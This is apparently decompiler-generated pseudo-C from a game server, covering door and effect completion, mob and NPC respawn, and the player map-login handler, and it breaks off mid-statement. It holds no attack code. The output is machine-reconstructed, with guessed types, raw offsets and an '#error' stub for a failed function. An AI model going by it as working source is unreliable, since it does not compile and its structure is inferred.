v3 = this; AxialListCameraMove::AxialListCameraMove((AxialListCameraMove *)&alcm, Center, Range); v8 = 0; ShineObjectClass::ShineObject::so_AllInMap(v3, (int)&alcm, 0); AxialListCameraMove::alcm_SendBriefInfo((AxialListCameraMove *)&alcm); v8 = -1; alcm = &AxialListCameraMove::_vftable_; if ( p ) operator delete(p); p = 0; v6 = 0; v7 = 0; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alcm); } // 639E84: using guessed type int (__stdcall *AxialListCameraMove___vftable_)(int, int, int distancesquar); //----- (00437F00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDoor::so_door_BuildComplete(ShineObjectClass::ShineDoor *this, unsigned __int16 handle) { ShineObjectClass::ShineDoor *v2; // esi@1 int v3; // edx@1 int v4; // eax@1 int v5; // eax@1 int v6; // ecx@2 unsigned int v7; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_BuildComplete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDoor::so_door_BuildComplete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&v2->gap0[3568]; *(_DWORD *)&v2->gap0[106] = 0; *(_WORD *)&v2->gap0[194] = 0; *(_BYTE *)v3 = 1; v4 = *(_DWORD *)&v2->gap0[94]; v2->sd_Retrate = 0; *(_DWORD *)v4 = 0; *(_BYTE *)(*(_DWORD *)&v2->gap0[94] + 4) = 0; briefdoor.bixd_Pointer->doornum = 0; v5 = *(_DWORD *)&v2->gap0[98]; if ( v5 && (v6 = *(_DWORD *)(v5 + 16)) != 0 ) { if ( *(_DWORD *)(v5 + 420) == 1 ) v7 = -1; else v7 = *(_DWORD *)(v6 + 56) * *(_DWORD *)(v6 + 56); } else { v7 = 0; } sightsquar = v7; ShineObjectClass::ShineObject::so_AllInMap(v2, (int)ShineObjectClass::ShineObject::so_ExchageBriefInfo, 0, 0, 0, 0); v2->gap0[7428] &= 0xFDu; *(_WORD *)&v2->gap0[194] = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_BuildComplete"); } //----- (00438020) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineEffectObject::so_effect_BlastComplete(ShineObjectClass::ShineEffectObject *this, unsigned __int16 handle) { ShineObjectClass::ShineEffectObject *v2; // esi@1 int v3; // edx@1 int v4; // eax@1 int v5; // edi@2 unsigned int v6; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineEffectObject::so_effect_BlastComplete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineEffectObject::so_effect_BlastComplete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&v2->gap0[94]; *(_DWORD *)&v2->gap0[106] = 0; *(_DWORD *)v3 = 0; *(_BYTE *)(*(_DWORD *)&v2->gap0[94] + 4) = 0; briefeffect.bixe_Pointer->effectnum = 0; v4 = *(_DWORD *)&v2->gap0[98]; if ( v4 && (v5 = *(_DWORD *)(v4 + 16)) != 0 ) { if ( *(_DWORD *)(v4 + 420) == 1 ) v6 = -1; else v6 = *(_DWORD *)(v5 + 56) * *(_DWORD *)(v5 + 56); } else { v6 = 0; } sightsquar = v6; ShineObjectClass::ShineObject::so_AllInMap(v2, (int)ShineObjectClass::ShineObject::so_ExchageBriefInfo, 0, 0, 0, 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineEffectObject::so_effect_BlastComplete"); } //----- (00438110) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mob_RegenComplete(void *this, std::_Tree >,std::less,std::allocator > > > handle) { void *v2; // ebp@1 unsigned int v3; // esi@1 int v4; // edx@1 unsigned __int16 v5; // ax@1 int v6; // eax@4 int v7; // eax@5 LuaScriptScenario *v8; // edx@6 int v9; // eax@6 const char *v10; // edi@6 int v11; // eax@6 int v12; // edx@6 char v13; // cl@7 int v14; // edx@11 BriefInfoExchanger::BriefInfoExchangeAbstate *v15; // ecx@12 int v16; // eax@14 int v17; // ecx@15 unsigned int v18; // eax@17 int v19; // ST04_4@20 int v20; // eax@20 bool v21; // zf@24 MobTacticElement::MobActionBase *v22; // eax@25 int v23; // edx@27 int v24; // edx@29 int v25; // eax@30 int v26; // eax@30 char v27; // al@31 char v28; // al@31 unsigned int v29; // ecx@31 unsigned int v30; // edx@31 int v31; // ecx@31 unsigned __int16 **v32; // edx@31 MobAttackSequence::AttackElement4Mob *v33; // eax@31 const unsigned __int16 **v34; // ecx@31 int v35; // edx@34 int v36; // ecx@34 char v37; // al@34 int v38; // eax@34 int v39; // eax@35 unsigned int v40; // ecx@37 unsigned int v41; // edx@37 int v42; // eax@37 int v43; // ecx@39 int v44; // eax@39 unsigned __int16 arg[2]; // [sp+24h] [bp-18h]@6 char *v46; // [sp+28h] [bp-14h]@29 FunctionEntarance _; // [sp+2Ch] [bp-10h]@1 unsigned int v48; // [sp+38h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShineMob::so_mob_RegenComplete"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_RegenComplete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_RegenComplete"; v3 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *((_DWORD *)v2 + 1914); *((_DWORD *)v2 + 2273) = 0; *((_DWORD *)v2 + 2274) = 0; *((_BYTE *)v2 + 9100) = 1; v5 = *(_WORD *)(v4 + 20); v48 = 0; if ( v5 == -1 ) { memset((char *)v2 + 9101, 0, 0x34u); } else { memcpy((char *)v2 + 9101, MobResistTable::operator__(&mobresisttable, v5), 0x34u); v3 = -1; } v6 = *((_DWORD *)v2 + 1914); *((_DWORD *)v2 + 2289) = 6; *((_DWORD *)v2 + 2290) = v3; *((_DWORD *)v2 + 2291) = v3; *((_DWORD *)v2 + 2292) = v3; *((_DWORD *)v2 + 2293) = v3; *((_WORD *)v2 + 97) = 0; *((_DWORD *)v2 + 1868) = 0; *((_DWORD *)v2 + 2119) = 0; *((_WORD *)v2 + 3722) = 2; *((_DWORD *)v2 + 2145) = 0; *((_WORD *)v2 + 4505) = -1; if ( v6 && (v7 = *(_DWORD *)(v6 + 4)) != 0 ) { *(_DWORD *)arg = *(_WORD *)v7; v8 = *std::map_std::allocator>>::operator__( &g_AIScriptContainer, arg); v9 = *((_DWORD *)v2 + 1914); *(_DWORD *)((char *)v2 + 106) = v8; v10 = (const char *)(*(_DWORD *)v9 + 2); v11 = *(_DWORD *)v9 + 2; v12 = v11 + 1; do v13 = *(_BYTE *)v11++; while ( v13 ); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)((char *)v2 + 110), v10, v11 - v12); } else { *(_DWORD *)((char *)v2 + 106) = 0; } MobTacticElement::MobActionAttack::maa_SkillFromScriptClear((MobTacticElement::MobActionAttack *)((char *)v2 + 8468)); if ( *(_BYTE *)(*(_DWORD *)(*((_DWORD *)v2 + 1914) + 4) + 36) ) { *(_DWORD *)arg = "ShineObjectClass::ShineMob::so_mob_RegenComplete1"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_RegenComplete1"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_RegenComplete1"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = v3; **(_DWORD **)((char *)v2 + 94) = 0; *(_BYTE *)(*(_DWORD *)((char *)v2 + 94) + 4) = 0; v14 = *(_DWORD *)v2; LOBYTE(v48) = 1; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(v14 + 1228))(v2) == 8 ) { briefchar.bixc_Pointer->charnum = 0; v15 = &briefabstate_char; } else { BriefInfoExchanger::BriefInfoExchangeMob::bixm_Init(&briefmob); v15 = &briefabstate_mob; } BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Init(v15); v16 = *(_DWORD *)((char *)v2 + 98); if ( v16 && (v17 = *(_DWORD *)(v16 + 16)) != 0 ) { if ( *(_DWORD *)(v16 + 420) == 1 ) v18 = v3; else v18 = *(_DWORD *)(v17 + 56) * *(_DWORD *)(v17 + 56); } else { v18 = 0; } sightsquar = v18; v19 = *(_DWORD *)((char *)v2 + 78); v20 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v2, v20, v19, 0, 0, (int)ShineObjectClass::ShineObject::so_ExchageBriefInfo, 0, 0, 0, 0, 65535); --funcallanalizer.fca_stackpoint; LOBYTE(v48) = 0; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_RegenComplete1"); v3 = -1; } else { *(_DWORD *)arg = "ShineObjectClass::ShineMob::so_mob_RegenComplete2"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_RegenComplete2"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_RegenComplete2"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = v3; **(_DWORD **)((char *)v2 + 94) = 0; *(_BYTE *)(*(_DWORD *)((char *)v2 + 94) + 4) = 3; LOBYTE(v48) = 2; if ( unk_6BCCB4 ) (*(void (__thiscall **)(void *, void *, signed int, signed int, _DWORD, unsigned int, _DWORD, unsigned int, _DWORD, signed int))(*(_DWORD *)v2 + 1584))( v2, v2, 200, 1, unk_6BCCB4, clockwatch.cw_CurrTick, 0, v3, 0, 3); --funcallanalizer.fca_stackpoint; LOBYTE(v48) = 0; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_RegenComplete2"); } v21 = (*((_BYTE *)v2 + 9052) & 1) == 0; *((_BYTE *)v2 + 7696) = 0; *((_WORD *)v2 + 3849) = -1; *((_DWORD *)v2 + 2145) = 0; if ( v21 ) { v22 = MobTacticElement::MobActionWander::maw_MetronomeReset((MobTacticElement::MobActionWander *)((char *)v2 + 8440)); } else { *((_BYTE *)v2 + 9053) = 0; v22 = (MobTacticElement::MobActionBase *)&MobTacticElement::MobActionArgument::Actor::roaming; } v23 = *((_DWORD *)v2 + 1914); *((_DWORD *)v2 + 2143) = v22; if ( *(_DWORD *)(*(_DWORD *)(v23 + 4) + 45) == 2 ) *((_DWORD *)v2 + 2143) = &MobTacticElement::MobActionArgument::Actor::nobrain; v24 = *((_DWORD *)v2 + 892); *((_WORD *)v2 + 3854) = handle; *((_DWORD *)v2 + 1928) = v2; *(_BYTE *)v24 = 2; Parameter::Container::c_clear((int)((char *)v2 + 3860)); Parameter::Container::c_StoreMob((int)((char *)v2 + 3860), *((_DWORD *)v2 + 1914)); Parameter::Container::c_MakeTotal((char *)v2 + 3860); *(_DWORD *)arg = &ListEraser::_vftable_; v46 = (char *)v2 + 8584; LOBYTE(v48) = 3; List::l_4AllInList((List *)((char *)v2 + 8584), (ListIteratorDefault *)arg); *((_DWORD *)v2 + 963) = 0; *((_DWORD *)v2 + 4 * *((_DWORD *)v2 + 961) + 897) = 0; v21 = *((_DWORD *)v2 + 59) == 3; LOBYTE(v48) = 0; *(_DWORD *)arg = &ListIteratorDefault::_vftable_; if ( !v21 ) { v25 = *((_DWORD *)v2 + 58); *((_DWORD *)v2 + 59) = 0; *((_DWORD *)v2 + 65) = 0; *((_DWORD *)v2 + 66) = 0; *((_DWORD *)v2 + 67) = 0; *((_DWORD *)v2 + 68) = 0; *((_DWORD *)v2 + 69) = 0; *((_DWORD *)v2 + 60) = 0; v26 = *(_DWORD *)(v25 + 78); *((_DWORD *)v2 + 63) = *(_DWORD *)v26; *((_DWORD *)v2 + 64) = *(_DWORD *)(v26 + 4); } v27 = *((_BYTE *)v2 + 9008); *((_BYTE *)v2 + 7428) &= 0xFEu; *((_WORD *)v2 + 97) = 0; *((_DWORD *)v2 + 1796) = 0; v28 = v27 & 0xFB | 2; *((_BYTE *)v2 + 9008) = v28; v29 = clockwatch.cw_CurrTick; *((_DWORD *)v2 + 894) = clockwatch.cw_CurrTick; v30 = v29; v31 = *(_DWORD *)((char *)v2 + 78); *((_DWORD *)v2 + 893) = v30; *((_DWORD *)v2 + 2248) = *(_DWORD *)v31; *((_DWORD *)v2 + 2249) = *(_DWORD *)(v31 + 4); *((_DWORD *)v2 + 2250) = *(_DWORD *)v31; v32 = (unsigned __int16 **)*((_DWORD *)v2 + 1914); *((_DWORD *)v2 + 2251) = *(_DWORD *)(v31 + 4); *((_BYTE *)v2 + 9008) = v28 & 0xF7; *((_BYTE *)v2 + 9012) = 0; v33 = MobAttackSequence::mas_Find(&mobattseq, **v32); v34 = (const unsigned __int16 **)*((_DWORD *)v2 + 1914); *((_DWORD *)v2 + 1921) = v33; *((_DWORD *)v2 + 1922) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::find( &triggerDic, &handle, *v34); if ( handle == dword_14BA180C ) *((_DWORD *)v2 + 2267) = 0; else *((_DWORD *)v2 + 2267) = handle + 16; v35 = *(_DWORD *)v2; *((_WORD *)v2 + 111) = -1; *((_WORD *)v2 + 112) = -1; *((_BYTE *)v2 + 7176) = 0; *((_DWORD *)v2 + 1795) = 0; (*(void (__thiscall **)(void *))(v35 + 864))(v2); v36 = *((_DWORD *)v2 + 964); v37 = *((_BYTE *)v2 + 9024) & 0xFB | 1; *((_DWORD *)v2 + 1093) = 0; *((_DWORD *)v2 + 2257) = 0; *((_DWORD *)v2 + 2258) = 60000; *((_BYTE *)v2 + 9024) = v37; *((_DWORD *)v2 + 1791) = (*(int (**)(void))(*(_DWORD *)v36 + 52))(); *((_BYTE *)v2 + 7169) = 0; *((_BYTE *)v2 + 7168) = 0; (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 3376))(v2, 65535); v38 = ***((_WORD ***)v2 + 1914); if ( v38 >= mobchatman.mcm_MaxMobHandle ) v39 = 1000000000; else v39 = (**(int (__thiscall ***)(MobChat::MobChatElementBase *))mobchatman.mcm_Wander[v38])(mobchatman.mcm_Wander[v38]); v40 = clockwatch.cw_CurrTick; v41 = (unsigned int)((unsigned int)(10 * v39) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; *((_DWORD *)v2 + 1863) = v41; *((_DWORD *)v2 + 1862) = v40 + v41; v42 = *((_DWORD *)v2 + 2144); if ( v42 ) *(_DWORD *)(v42 + 76) = clockwatch.cw_CurrTick; *((_BYTE *)v2 + 7428) &= 0xE5u; v43 = *((_DWORD *)v2 + 2097); *(_DWORD *)((char *)v2 + 218) = 0; *((_DWORD *)v2 + 2145) = 0; *((_WORD *)v2 + 97) = 0; (*(void (**)(void))(*(_DWORD *)v43 + 20))(); *((_BYTE *)v2 + 9008) |= 1u; v44 = *(_DWORD *)v2; *((_DWORD *)v2 + 2264) = 0; *((_DWORD *)v2 + 2265) = 0; *((_BYTE *)v2 + 9064) = 0; *((_BYTE *)v2 + 9065) = 0; (*(void (__thiscall **)(void *, _DWORD))(v44 + 3148))(v2, 0); --funcallanalizer.fca_stackpoint; v48 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_RegenComplete"); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 14BA180C: using guessed type int dword_14BA180C; //----- (00438730) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineNPC::so_mob_RegenComplete(ShineObjectClass::ShineNPC *this, unsigned __int16 handle) { ShineObjectClass::ShineNPC *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_mob_RegenComplete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineNPC::so_mob_RegenComplete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->sn_VanishTime = 0; ShineObjectClass::ShineMob::so_mob_RegenComplete( v2, (std::_Tree >,std::less,std::allocator > > >)handle); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_mob_RegenComplete"); } //----- (004387D0) -------------------------------------------------------- #error "4387D0: undefined or illegal type '#615' (funcsize=69)" //----- (00438910) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD(void *this, int netcmd, int LimitTime, __int16 handle) { int v4; // ebp@1 int v5; // edx@1 int v6; // eax@1 void *v7; // ecx@1 int v8; // eax@1 Name8 *v9; // eax@2 char *v10; // eax@3 int v11; // eax@5 unsigned __int8 *v12; // eax@12 unsigned __int16 v13; // si@12 unsigned __int8 v14; // al@12 char v15; // al@15 int v16; // eax@18 int v17; // edx@18 int v18; // eax@22 int v19; // edx@22 int v20; // eax@22 Name4 *v21; // eax@26 int v22; // ecx@28 int v23; // eax@32 int v24; // eax@34 int v25; // eax@34 List *v26; // eax@35 int v27; // eax@38 unsigned int v28; // eax@44 int v29; // edx@44 int v30; // edx@44 signed int v31; // edi@44 unsigned int v32; // eax@44 char v33; // dl@44 int v34; // eax@44 char *v35; // esi@44 int v36; // eax@44 int v37; // eax@44 int v38; // edx@44 int v39; // edx@44 char v40; // al@46 ZoneBaseSession *v41; // eax@47 int v42; // esi@49 unsigned __int16 v43; // ax@49 unsigned __int16 v44; // ax@52 CParty::PARTY_SLOT *v45; // eax@52 int v46; // edx@52 CParty::PARTY_SLOT *v47; // esi@52 unsigned __int16 v48; // ax@52 int v49; // esi@53 ABSTATEINDEX v50; // ecx@55 int v51; // eax@55 int v52; // eax@56 int v53; // edi@57 int v54; // ecx@59 int v55; // eax@59 int v56; // ecx@59 unsigned int v57; // eax@59 BattleStat *v58; // eax@61 unsigned int v59; // eax@63 int v60; // edx@63 int v61; // edx@63 unsigned int v62; // ecx@63 __int16 v63; // ax@63 char v64; // al@63 int v65; // eax@64 int v66; // edx@64 int v67; // edx@65 int v68; // edx@65 int v69; // eax@65 int v70; // eax@67 int v71; // edx@68 int v72; // ecx@69 AbnormalStateContainer::AbstateElementInObject *v73; // eax@71 void *v74; // ecx@71 void *v75; // ecx@73 int v76; // eax@73 void *v77; // ecx@74 int v78; // eax@74 bool v79; // zf@74 int v80; // eax@78 char *v81; // eax@78 int v82; // esi@78 int v83; // ecx@79 char v84; // al@81 int v85; // eax@82 int v86; // edx@82 int v87; // eax@83 char *v88; // esi@84 __int16 v89; // ax@84 char v90; // al@84 ZoneBaseSession *v91; // eax@85 signed int v92; // edi@86 char *v93; // esi@86 int v94; // eax@86 char v95; // al@86 ZoneBaseSession *v96; // eax@87 char *v97; // esi@88 int v98; // eax@88 char v99; // al@88 ZoneBaseSession *v100; // eax@89 int v101; // eax@90 unsigned int v102; // esi@90 KingdomQuest::KQElement *v103; // eax@91 int v104; // eax@93 int v105; // edx@94 int v106; // eax@96 int v107; // eax@97 char v108; // dl@98 CT_DataState *v109; // eax@98 int (__stdcall **v110)(int, __int16); // ecx@100 int v111; // esi@102 unsigned __int8 v112; // al@102 int v113; // edi@103 int v114; // eax@103 int v115; // eax@104 int v116; // edx@104 int v117; // eax@104 signed int v118; // edx@105 int v119; // eax@105 bool v120; // sf@106 unsigned __int8 v121; // of@106 int v122; // eax@108 char *v123; // eax@109 MapClusterManager::MapCluster *v124; // esi@109 unsigned __int16 v125; // ax@110 char *v126; // ecx@111 char v127; // al@111 int v128; // eax@112 int v129; // edx@112 int v130; // ecx@113 char *v131; // esi@116 int v132; // edx@116 char v133; // al@116 char v134; // al@116 int v135; // eax@117 int v136; // edx@117 char *v137; // eax@119 int v138; // ecx@119 char v139; // al@119 int v140; // eax@120 int v141; // edx@120 char *v142; // esi@122 char v143; // al@122 char v144; // al@122 int v145; // eax@123 int v146; // edx@123 int v147; // eax@124 char *v148; // eax@124 char v149; // dl@124 int v150; // eax@127 int v151; // edx@127 int v152; // edx@128 unsigned __int16 v153; // ax@129 CParty::PARTY_SLOT *v154; // eax@129 CParty::PARTY_SLOT *v155; // esi@129 int v156; // eax@135 int v157; // edx@135 int v158; // eax@138 int v159; // edx@138 int v160; // eax@138 int v161; // edx@138 int v162; // eax@139 unsigned int v163; // [sp+ACh] [bp-4Ch]@104 signed int v164; // [sp+B0h] [bp-48h]@104 signed int v165; // [sp+B4h] [bp-44h]@22 int v166; // [sp+B8h] [bp-40h]@18 ABSTATEINDEX v167; // [sp+BCh] [bp-3Ch]@1 __int16 listhandle; // [sp+D0h] [bp-28h]@91 FunctionEntarance _; // [sp+D4h] [bp-24h]@1 int i; // [sp+D8h] [bp-20h]@53 int (__stdcall **nStateNum)(int, __int16); // [sp+DCh] [bp-1Ch]@36 int v172; // [sp+E0h] [bp-18h]@44 int v173; // [sp+F4h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)v4; v167 = 0; v173 = 0; *(_DWORD *)(v4 + 143812) = 0; *(_BYTE *)(v4 + 143900) = 0; *(_DWORD *)(v4 + 143904) = 0; (*(void (__thiscall **)(int, ABSTATEINDEX))(v5 + 2864))(v4, v167); *(_BYTE *)(v4 + 23353) &= 0x7Fu; v6 = *(_DWORD *)v4; *(_BYTE *)(v4 + 143874) = 0; *(_BYTE *)(v4 + 23340) = 0; *(_DWORD *)(v4 + 143608) = 0; *(_WORD *)(v4 + 143612) = -1; *(_DWORD *)(v4 + 143616) = 0; *(_DWORD *)(v4 + 143620) = 0; *(_DWORD *)(v4 + 143624) = 0; (*(void (__thiscall **)(int))(v6 + 3288))(v4); v7 = *(void **)(v4 + 98); v8 = netcmd + 2; *(_BYTE *)(v4 + 7448) = 0; *(_DWORD *)(v4 + 23356) = 0; *(_DWORD *)(v4 + 23360) = 0; if ( v7 ) { v167 = v8; v9 = FieldMap::fm_GetDoorBlockCheckSum(v7); if ( Name8::operator__(v9, (Name8 *)v167) ) { v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 6148; v167 = 5; *((_WORD *)v10 + 1) = 329; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v167) ) { v11 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v11 + 12))(v11, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long", 5); } (*(void (__thiscall **)(int, signed int, signed int, _DWORD))(*(_DWORD *)v4 + 1520))(v4, 1678, 1, 0); goto LABEL_142; } } if ( !(_S42_0 & 1) ) { _S42_0 |= 1u; cmc_18.cmc_AllowMode = 1; atexit(_E43_0); } if ( !((1 << **(_BYTE **)(v4 + 3568)) & cmc_18.cmc_AllowMode) ) goto LABEL_142; *(_BYTE *)(*(_DWORD *)(v4 + 32160) + 188) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1236))(v4); **(_BYTE **)(v4 + 82) = 90; *(_WORD *)(v4 + 7444) = 2; NormalAttackDamageDelay::NormalAttackDamageTick::nadt_Clear((NormalAttackDamageDelay::NormalAttackDamageTick *)(v4 + 66156)); ShineObjectClass::ShinePlayer::sp_RegistNumberVarification((void *)v4); if ( !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1236))(v4) || (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1236))(v4) > 0x96u ) { (*(void (__thiscall **)(int, signed int, _DWORD, _DWORD))(*(_DWORD *)v4 + 1520))(v4, 1677, 0, 0); LABEL_142: v173 = -1; v167 = (ABSTATEINDEX)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD"; goto LABEL_143; } ShineObjectClass::ShineObject::so_LostSP((ItemAttributeClass *)v4, (ItemTotalInformation *)2); v12 = *(unsigned __int8 **)(v4 + 3568); v13 = *(_WORD *)(v4 + 4); *(_WORD *)(v4 + 194) = 0; v14 = *v12; if ( !v14 ) { if ( AssertClass::operator__(&shineassert, *(_DWORD *)(v4 + 98) != 0, "sp_NC_MAP_LOGINCOMPLETE_CMD Field", v13) ) goto LABEL_126; v15 = *(_BYTE *)(v4 + 139468) & 0xFB; v167 = 0; *(_DWORD *)(v4 + 143588) = 0; *(_BYTE *)(v4 + 143592) = 0; *(_DWORD *)(v4 + 143596) = 0; *(_BYTE *)(v4 + 139468) = v15; std::vector>::resize( (std::vector > *)(v4 + 143668), v167); *(_WORD *)(*(_DWORD *)(v4 + 32160) + 78) = -1; if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2136))(v4) == 1 ) { *(_BYTE *)(*(_DWORD *)(v4 + 32160) + 169) = 1; if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)(v4 + 98) + 12) + 99) ) { BriefInformationCharacter::bic_HideMyIdentity((BriefInformationCharacter *)(v4 + 31920)); goto LABEL_23; } v16 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2140))(v4); v17 = *(_DWORD *)v4; v167 = v16; v166 = *(_WORD *)((*(int (__thiscall **)(int))(v17 + 1052))(v4) + 562); } else { *(_BYTE *)(*(_DWORD *)(v4 + 32160) + 169) = 0; if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)(v4 + 98) + 12) + 99) ) { BriefInformationCharacter::bic_HideMyIdentity((BriefInformationCharacter *)(v4 + 31920)); goto LABEL_23; } v167 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2072))(v4); v166 = *(_WORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1052))(v4) + 562); } v18 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1052))(v4); v19 = *(_DWORD *)v4; v165 = *(_BYTE *)(v18 + 561); v20 = (*(int (__thiscall **)(int))(v19 + 1052))(v4); BriefInformationCharacter::bic_ShowMyIdentity( (BriefInformationCharacter *)(v4 + 31920), (ZoneCharData *)(v4 + 32167), *(_BYTE *)(v20 + 560), v165, v166, v167); LABEL_23: (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 2112))(v4, 65535); BriefInformationCharacter::bic_SetAnimation((BriefInformationCharacter *)(v4 + 31920), byte_635E1E); **(_BYTE **)(v4 + 3568) = 1; v167 = 200; *(_BYTE *)(v4 + 139547) = 0; *(_DWORD *)(v4 + 31912) = v4 + 23704; *(_DWORD *)(v4 + 31908) = v4 + 23704; if ( AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet( (AbnormalStateContainer::AbstateListInObject *)(v4 + 296), v167) ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1232))(v4) ) { **(_DWORD **)(v4 + 94) = 0; *(_BYTE *)(*(_DWORD *)(v4 + 94) + 4) = 3; } else { (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 1608))(v4, 200); v21 = (Name4 *)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1384))(v4); NameString::operator__(&namestring, v21); } } else { **(_DWORD **)(v4 + 94) = 0; *(_BYTE *)(*(_DWORD *)(v4 + 94) + 4) = 0; } v22 = *(_DWORD *)(v4 + 98); if ( v22 ) { v167 = 380; if ( FieldMap::fm_IsGuildTournametnMap(v22) ) { if ( AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet( (AbnormalStateContainer::AbstateListInObject *)(v4 + 296), v167) ) { **(_DWORD **)(v4 + 94) = 0; *(_BYTE *)(*(_DWORD *)(v4 + 94) + 4) = 2; if ( FieldMap::fm_GetGuildTournamentSystem(*(void **)(v4 + 98)) ) { v23 = FieldMap::fm_GetGuildTournamentSystem(*(void **)(v4 + 98)); GuildTournamentSystem::SendMapInPlayerInfoToObserber((GuildTournamentSystem *)v23, (#593 *)v4); } } } else { (*(void (__thiscall **)(int, ABSTATEINDEX))(*(_DWORD *)v4 + 1608))(v4, v167); } } v24 = *(_DWORD *)v4; *(_BYTE *)(v4 + 23352) &= 0xF7u; v25 = (*(int (__thiscall **)(int))(v24 + 1320))(v4); if ( v25 ) { v26 = (List *)(v25 + 3240); if ( v26 ) { ListTraveler::ListTraveler( (ListTraveler *)&nStateNum, v26, 0); if ( ListTraveler::lt_Next((ListTraveler *)&nStateNum) ) { while ( ListTraveler::operator_>((ListTraveler *)&nStateNum) ) { v27 = **((_DWORD **)&unk_6B848C + 3 * ListTraveler::operator_>((ListTraveler 